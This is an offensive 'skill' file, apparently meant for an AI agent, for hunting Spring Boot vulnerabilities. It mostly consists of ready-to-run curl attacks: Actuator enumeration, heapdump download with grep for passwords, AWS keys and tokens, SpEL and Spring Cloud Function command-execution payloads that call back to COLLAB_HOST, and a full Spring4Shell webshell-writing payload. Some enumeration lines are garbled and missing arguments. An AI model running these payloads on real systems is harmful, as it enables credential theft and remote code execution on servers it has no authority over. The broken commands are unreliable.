| name | hunt-springboot |
| description | Hunt Spring Boot specific vulnerabilities — Actuator endpoints (heapdump, env, loggers, mappings, shutdown), Spring Expression Language (SpEL) injection → RCE, H2 console RCE, Jolokia JMX exposure, Spring4Shell (CVE-2022-22965), Spring Cloud Function SPEL (CVE-2022-22963), heap dump credential extraction. Use when target runs Spring Boot — detected via X-Application-Context header, /actuator, Whitelabel Error Page, or Java stack traces. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| category | redteam |
| tags | ["springboot","hunt","redteam","java"] |
HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities
Crown Jewel Targets
Spring Boot Actuator /actuator/heapdump exposed = heap dump with all secrets in memory.
Highest-value findings:
/actuator/heapdump — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory
/actuator/env — lists all environment variables and Spring properties including secrets
/actuator/shutdown — POST → shuts down the application (Critical availability impact)
- H2 Console (
/h2-console) — in-memory DB admin UI → SQL query execution → potential RCE via CREATE ALIAS trick
- SpEL injection — Spring Expression Language in template fields,
@Value annotations, SpEL-processed request params → RCE
- Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → RCE via data binding
Phase 1 — Fingerprint Spring Boot
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null
for base in "" "/manage" "/management" "/app"; do
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
[ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done
Phase 2 — Actuator Endpoint Enumeration
BASE="https://$TARGET/actuator"
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics"
"loggers" "info" "health" "configprops" "shutdown" "trace"
"httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
"flyway" "liquibase" "refresh" "restart")
for EP in "${ENDPOINTS[@]}"; do
BODY=$(curl --max-time 30 --connect-timeout 10 -s -H "Accept: application/json" "$BASE/$EP")
CT=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html";
curl --max-time 30 --connect-timeout 10 -s | python3 -m json.tool 2>/dev/null | grep -i | -20
curl --max-time 30 --connect-timeout 10 -s | python3 -m json.tool 2>/dev/null | grep -Eo |
curl --max-time 30 --connect-timeout 10 -s | python3 -m json.tool 2>/dev/null | -100
Phase 3 — Heap Dump Analysis
curl --max-time 30 --connect-timeout 10 -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
grep -v "^[a-z_]" | sort -u | head -50
strings /tmp/heapdump.hprof | grep -Eo "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -Eo "AKIA[A-Z0-9]{16}" | sort -u
strings /tmp/heapdump.hprof | grep -Eo "sk_live_[A-Za-z0-9]+" | sort -u
strings /tmp/heapdump.hprof | grep -Eo "Bearer [A-Za-z0-9._-]+" | sort -u
Phase 4 — H2 Console RCE
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/h2" | grep -i "H2 Console"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/console" | grep -i "H2"
Phase 5 — SpEL Injection
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{7*7}"}'
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/functionRouter" \
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
-d "test"
Phase 6 — Spring4Shell (CVE-2022-22965)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/user" \
-d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/login" \
--data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
Phase 7 — Jolokia JMX Exposure
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"
Chain Table
| Spring Boot finding | Chain to | Impact |
|---|
/actuator/heapdump | Extract DB passwords, API keys from memory | Critical credential exfil |
/actuator/env | Read all env vars including secrets | High |
| H2 console accessible | CREATE ALIAS → RCE | Critical |
| SpEL injection | T(Runtime).exec() → OS command | Critical RCE |
| Spring4Shell | Write webshell → RCE | Critical |
| Jolokia + MLet | Remote code via MBean | Critical RCE |
Validation
✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file
✅ Actuator/env: secrets visible in JSON response
✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received
✅ H2 console: SQL executed, id output returned
Severity:
- Heapdump with credentials: Critical
- SpEL RCE: Critical
- H2 console RCE: Critical
- Actuator env (passwords exposed): High
- Mappings disclosure only: Low-Medium
Verification
Run this self-test to confirm springboot hunting readiness:
-
Skill integrity — confirm the skill file is readable and well-formed:
grep -q "name: hunt-springboot" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
-
Category check — confirm the skill has a category:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
-
Pitfalls section — confirm pitfalls are documented:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
All 3 tests verify the skill is properly structured and ready for use.
Pitfalls
- Actuator endpoints without sensitive data —
/actuator/health or /actuator/info are intentionally public. Need /actuator/env, /actuator/heapdump, or /actuator/mappings.
- /actuator/env with sanitized values — Spring Boot 2.x+ sanitizes env values by default. Need unsanitized secrets.
- /actuator/heapdump download — heapdump analysis requires Eclipse MAT or similar. The finding is the dump is accessible, not what it contains (prove with actual extracted secrets).
- /actuator/loggers modification — changing log level to DEBUG can leak sensitive data. Demonstrate the leaked data.
- Spring Boot version without CVE — version disclosure is informational unless paired with a CVE affecting that specific version.